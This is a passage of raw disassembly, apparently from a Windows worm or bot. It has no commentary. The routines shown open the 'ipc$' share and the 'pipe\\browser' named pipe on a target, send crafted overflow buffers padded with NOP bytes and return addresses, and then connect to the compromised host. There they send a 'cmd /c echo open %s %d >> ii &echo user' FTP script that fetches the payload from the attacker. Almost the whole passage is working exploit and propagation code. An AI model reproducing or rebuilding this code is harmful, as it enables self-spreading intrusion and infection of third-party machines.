		leave
		retn	4
sub_40D21A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2DF	proc near		; CODE XREF: sub_40CF0B+70p
					; sub_40CF0B+B3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		retn	4
sub_40D2DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2E7	proc near		; CODE XREF: sub_40D0FA+47p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D860
		pop	ecx
		retn	8
sub_40D2E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2F4	proc near		; CODE XREF: sub_40D18A+15p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D32E
		push	eax
		call	sub_40D2DF
		cmp	byte ptr [eax],	0
		jz	short loc_40D32E
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D2DF
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40D32E
		push	edi
		mov	edi, [esi+4]
		push	1
		mov	ecx, esi
		call	sub_40D0FA
		push	edi
		mov	ecx, esi
		call	sub_40D001
		pop	edi


loc_40D32E:				; CODE XREF: sub_40D2F4+8j
					; sub_40D2F4+13j ...
		pop	esi
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D330	proc near		; CODE XREF: sub_40D21A+36p
					; sub_40D21A+4Fp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40D347
		pop	ecx
		pop	ecx
		retn	8
sub_40D330	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D204p
		or	eax, 0FFFFFFFFh
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D344	proc near		; CODE XREF: sub_40CF0B+7Cp
		mov	al, 1
		retn
sub_40D344	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D347	proc near		; CODE XREF: sub_40D330+6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40D351
		xor	eax, eax


loc_40D351:				; CODE XREF: sub_40D347+6j
		push	eax
		call	sub_41D910
		pop	ecx
		retn
sub_40D347	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D359	proc near		; CODE XREF: .nsp0:loc_40CD62p
					; sub_435790+3p
		test	byte_4EFC18, 1
		jnz	short locret_40D369
		or	byte_4EFC18, 1

locret_40D369:				; CODE XREF: sub_40D359+7j
		retn
sub_40D359	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D36B	proc near		; DATA XREF: .nsp0:0043A00Co
		jmp	$+5
sub_40D36B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D370	proc near
		mov	eax, dword_44A160
		add	eax, 6
		mov	dword_4E35DC, eax
		retn
sub_40D370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D37E	proc near		; CODE XREF: sub_40D37E+D0p
					; sub_40D46C+474p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D392
		or	[ebp+arg_7], 1
		jmp	short loc_40D396
; ---------------------------------------------------------------------------


loc_40D392:				; CODE XREF: sub_40D37E+Cj
		and	[ebp+arg_7], 0FEh


loc_40D396:				; CODE XREF: sub_40D37E+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D3BA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D3CC
; ---------------------------------------------------------------------------


loc_40D3BA:				; CODE XREF: sub_40D37E+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D3CC:				; CODE XREF: sub_40D37E+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_418ED0
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D465
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4F139C	; WriteFile
		test	eax, eax
		jz	short loc_40D45C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D45C
		push	[ebp+arg_20]
		call	sub_419940
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D458
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D37E
		add	esp, 2Ch
		jmp	short loc_40D467
; ---------------------------------------------------------------------------


loc_40D458:				; CODE XREF: sub_40D37E+B3j
		mov	al, 1
		jmp	short loc_40D467
; ---------------------------------------------------------------------------


loc_40D45C:				; CODE XREF: sub_40D37E+9Cj
					; sub_40D37E+A4j
		push	[ebp+arg_20]
		call	sub_419940
		pop	ecx


loc_40D465:				; CODE XREF: sub_40D37E+61j
		xor	al, al


loc_40D467:				; CODE XREF: sub_40D37E+D8j
					; sub_40D37E+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D37E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D46C	proc near		; CODE XREF: .nsp0:0040DA6Dp

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_41BC60
		push	ebx
		push	esi
		push	edi
		push	offset a__9	; "."
		push	[ebp+arg_0]
		call	sub_41DBF0
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40D4E2
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_20DC]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi
		push	eax
		call	sub_41B910
		push	20h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 1Ch
		lea	eax, [ebp+var_20DC]
		mov	[ebp+var_C8], eax
		lea	eax, [ebp+var_DC]
		push	ebx
		push	offset dword_4E35E4
		push	offset dword_4E35E8
		push	eax
		call	sub_435826
		jmp	short loc_40D4E7
; ---------------------------------------------------------------------------


loc_40D4E2:				; CODE XREF: sub_40D46C+23j
		mov	esi, 2000h


loc_40D4E7:				; CODE XREF: sub_40D46C+74j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4F13A8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40D52B


loc_40D524:				; CODE XREF: sub_40D46C+197j
					; sub_40D46C+36Dj ...
		xor	al, al
		jmp	loc_40D96F
; ---------------------------------------------------------------------------


loc_40D52B:				; CODE XREF: sub_40D46C+B6j
		push	48h
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_41B190
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax
		lea	eax, [ebp+var_98]
		push	offset dword_44A1BC
		push	eax
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	near ptr sub_41C8D0
		push	10h
		lea	eax, [ebp+var_84]
		push	offset dword_44A1D0
		push	eax
		mov	[ebp+var_88], 3
		call	near ptr sub_41C8D0
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_4F139C	; WriteFile
		test	eax, eax
		jnz	short loc_40D608


loc_40D5FA:				; CODE XREF: sub_40D46C+268j
		push	[ebp+var_4]
		call	dword_4F1324	; CloseHandle
		jmp	loc_40D524
; ---------------------------------------------------------------------------


loc_40D608:				; CODE XREF: sub_40D46C+18Cj
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_4F13A4	; ReadFile
		push	ebx
		call	sub_41DA60
		push	eax
		call	sub_41B840
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_41B190
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_41B190
		add	esp, 20h
		call	sub_41B850
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_70], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	byte_44A148[esi], bl
		jz	short loc_40D67F
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4E35EC
		jmp	short loc_40D692
; ---------------------------------------------------------------------------


loc_40D67F:				; CODE XREF: sub_40D46C+1FFj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	offset loc_44A1E4


loc_40D692:				; CODE XREF: sub_40D46C+211j
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		call	sub_41B850
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_41B850
		cdq
		idiv	edi
		mov	eax, dword_44A13C[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+arg_0], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_418ED0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40D5FA
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B190
		mov	eax, [ebp+arg_0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B190
		mov	eax, dword_44A144[esi]
		push	7
		add	eax, edi
		push	offset dword_44A130
		push	eax
		mov	[ebp+arg_4], eax
		call	near ptr sub_41C8D0
		mov	eax, [ebp+arg_4]
		push	15Ch
		add	eax, 7
		push	offset dword_449FD0
		push	eax
		call	near ptr sub_41C8D0
		mov	eax, dword_44A140[esi]
		add	esp, 30h
		cmp	byte_44A148[esi], bl
		mov	[ebp+arg_4], eax
		jz	short loc_40D78B
		push	4
		add	eax, edi
		push	offset dword_4E35DC
		push	eax
		call	near ptr sub_41C8D0
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_44A160
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	near ptr sub_41C8D0
		mov	eax, [ebp+arg_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_4], eax
		call	near ptr sub_41C8D0
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 30h
		jmp	short loc_40D7B3
; ---------------------------------------------------------------------------


loc_40D78B:				; CODE XREF: sub_40D46C+2D0j
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+arg_4], eax
		mov	esi, offset dword_44A160


loc_40D79C:				; CODE XREF: sub_40D46C+345j
		push	4
		push	esi
		push	[ebp+arg_4]
		call	near ptr sub_41C8D0
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40D79C


loc_40D7B3:				; CODE XREF: sub_40D46C+31Dj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		call	sub_418ED0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40D7DE
		push	[ebp+var_4]
		call	dword_4F1324	; CloseHandle
		push	edi
		call	sub_419940
		pop	ecx
		jmp	loc_40D524
; ---------------------------------------------------------------------------


loc_40D7DE:				; CODE XREF: sub_40D46C+35Bj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_41B190
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	near ptr sub_41C8D0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	flt_437488
		fstp	[esp+0Ch+var_10+4]
		call	sub_41CEF0
		call	sub_41CEBC
		push	[ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	near ptr sub_41C8D0
		mov	eax, [ebp+arg_0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40D84B


loc_40D843:				; CODE XREF: sub_40D46C+3DAj
		inc	eax
		test	al, 3
		jnz	short loc_40D843
		mov	[ebp+arg_4], eax


loc_40D84B:				; CODE XREF: sub_40D46C+3D5j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	near ptr sub_41C8D0
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_419940
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_41B190
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_41B190
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4F13A0	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+arg_0+3],	bl
		mov	dword ptr [ebp+var_10+4], ebx


loc_40D8B8:				; CODE XREF: sub_40D46C+4D6j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40D94D
		push	1
		push	10B8h
		push	[ebp+arg_4]
		inc	dword ptr [ebp+var_10+4]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]
		rep movsd
		call	sub_40D37E
		add	esp, 2Ch
		test	al, al
		jz	short loc_40D94A
		cmp	[ebp+var_4C], ebx
		jz	short loc_40D93C
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	dword_4F13A4	; ReadFile
		test	eax, eax
		jnz	short loc_40D923
		call	dword_4F1348	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40D524


loc_40D923:				; CODE XREF: sub_40D46C+4A4j
		push	3E8h
		push	[ebp+var_4C]
		call	dword_4F135C	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40D93C
		mov	byte ptr [ebp+arg_0+3],	1


loc_40D93C:				; CODE XREF: sub_40D46C+483j
					; sub_40D46C+4CAj
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	esi, [ebp+var_8]
		jz	loc_40D8B8
		jmp	short loc_40D94D
; ---------------------------------------------------------------------------


loc_40D94A:				; CODE XREF: sub_40D46C+47Ej
		mov	esi, [ebp+var_8]


loc_40D94D:				; CODE XREF: sub_40D46C+450j
					; sub_40D46C+4DCj
		push	[ebp+var_4]
		mov	edi, dword_4F1324
		call	edi	; CloseHandle
		push	esi
		call	sub_419940
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40D969
		push	[ebp+var_4C]
		call	edi	; CloseHandle


loc_40D969:				; CODE XREF: sub_40D46C+4F6j
		cmp	byte ptr [ebp+arg_0+3],	bl
		setnz	al


loc_40D96F:				; CODE XREF: sub_40D46C+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D46C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D974	proc near		; CODE XREF: .nsp0:0040DA8Bp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4F14F8	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4F14FC	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4F150C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40DA42
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4F1500	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DA42
		mov	edi, 400h
		push	esi
		mov	esi, dword_4F1504
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_43A0E8
		push	eax
		push	eax
		push	dword_4E05C8
		push	[ebp+arg_0]
		call	sub_40A019
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4F1510	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DA46


loc_40DA42:				; CODE XREF: sub_40D974+50j
					; sub_40D974+62j
		xor	eax, eax
		jmp	short loc_40DA5D
; ---------------------------------------------------------------------------


loc_40DA46:				; CODE XREF: sub_40D974+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_4F1508	; closesocket
		push	1
		pop	eax


loc_40DA5D:				; CODE XREF: sub_40D974+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D974	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx


loc_40DA67:				; CODE XREF: .nsp0:0040DAADj
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_40D46C
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40DA9A
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D974
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40DAAF


loc_40DA9A:				; CODE XREF: .nsp0:0040DA76j
		test	ebx, ebx
		jnz	short loc_40DAA9
		push	7D0h
		call	dword_4F1334	; Sleep


loc_40DAA9:				; CODE XREF: .nsp0:0040DA9Cj
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40DA67


loc_40DAAF:				; CODE XREF: .nsp0:0040DA98j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAB6	proc near		; CODE XREF: sub_40DBCD+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4F14F8	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4F14FC	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4F150C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40DB84
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4F1500	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DB84
		mov	edi, 400h
		push	esi
		mov	esi, dword_4F1504
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_43A0E8
		push	eax
		push	eax
		push	dword_4E05C8
		push	[ebp+arg_0]
		call	sub_40A019
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4F1510	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DB88


loc_40DB84:				; CODE XREF: sub_40DAB6+50j
					; sub_40DAB6+62j
		xor	eax, eax
		jmp	short loc_40DB9F
; ---------------------------------------------------------------------------


loc_40DB88:				; CODE XREF: sub_40DAB6+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_4F1508	; closesocket
		push	1
		pop	eax


loc_40DB9F:				; CODE XREF: sub_40DAB6+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DAB6	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		call	dword_4F14F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40DBCC
		push	dword ptr [esp+4]
		call	dword_4F1520	; gethostbyname
		test	eax, eax
		jnz	short loc_40DBC5
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40DBC5:				; CODE XREF: .nsp0:0040DBBFj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40DBCC:				; CODE XREF: .nsp0:0040DBB1j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBCD	proc near		; CODE XREF: sub_40B9F0+1E6p
					; DATA XREF: .nsp0:off_4492ACo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4E08DC
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4E08A0
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4F150C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DC3F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4F1500	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DC20
		push	esi
		jmp	short loc_40DC39
; ---------------------------------------------------------------------------


loc_40DC20:				; CODE XREF: sub_40DBCD+4Ej
		push	0
		push	1213h
		push	offset dword_44A260
		push	esi
		call	dword_4F1510	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40DC43


loc_40DC39:				; CODE XREF: sub_40DBCD+51j
		call	dword_4F1508	; closesocket


loc_40DC3F:				; CODE XREF: sub_40DBCD+3Cj
		xor	eax, eax
		jmp	short loc_40DC85
; ---------------------------------------------------------------------------


loc_40DC43:				; CODE XREF: sub_40DBCD+6Aj
		call	dword_4F1508	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DAB6
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40DC82
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_4492B0[eax]
		lea	eax, dword_4492B0[eax]


loc_40DC82:				; CODE XREF: sub_40DBCD+9Ej
		push	1
		pop	eax


loc_40DC85:				; CODE XREF: sub_40DBCD+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40DBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC89	proc near		; CODE XREF: .nsp0:0040DD77p
					; .nsp0:0040DDD9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40DC91:				; CODE XREF: sub_40DC89+2Dj
		test	edi, edi
		jle	short loc_40DCBC
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4E08B8
		test	eax, eax
		jz	short loc_40DCB8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DCB8
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40DC91
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40DC89+22j
					; sub_40DC89+27j
		xor	eax, eax
		jmp	short loc_40DCBF
; ---------------------------------------------------------------------------


loc_40DCBC:				; CODE XREF: sub_40DC89+Aj
		push	1
		pop	eax


loc_40DCBF:				; CODE XREF: sub_40DC89+31j
		pop	edi
		pop	esi
		retn
sub_40DC89	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC2	proc near		; CODE XREF: .nsp0:0040DDC3p
					; .nsp0:0040DDF0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
